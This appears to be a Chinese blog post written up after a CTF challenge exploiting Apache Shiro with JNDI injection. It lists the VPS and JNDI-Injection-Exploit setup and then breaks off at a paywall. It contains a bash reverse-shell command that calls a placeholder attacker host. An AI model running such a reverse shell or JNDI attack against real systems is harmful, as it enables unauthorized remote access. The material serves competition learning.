长安战疫网络安全卫士守护赛 Shiro?

原创 于 2022-01-14 16:17:03 发布 · 2.7k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全 #安全 #java

本文详细介绍了在长安战疫网络安全比赛中，如何利用Shiro框架的漏洞进行攻击，包括环境准备、测试漏洞、反弹shell的步骤以及成功获取shell并拿到flag的过程。涉及的技术包括VPS、JNDI-Injection-Exploit工具、RMI和LDAP服务、Java、nc命令等。

赛题：Shiro?

需要准备的环境：

反弹shell需要准备VPS、JNDI-Injection-Exploit工具启动rmi和ldap服务
JNDI-Injection-Exploit 需要jdk、mvn环境编译
VPS centos7
mvn 3.8.4
jdk 1.8
在这里插入图片描述

打开赛题

在这里插入图片描述

测试存在漏洞

这里我用的是VPS的外网地址

在这里插入图片描述

成功获取到请求响应

在这里插入图片描述

反弹shell步骤

bash -i >&/dev/tcp/x.x.x.x/1111 0>&1
bash
最低0.47元/天 解锁文章
FSecurity
关注
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值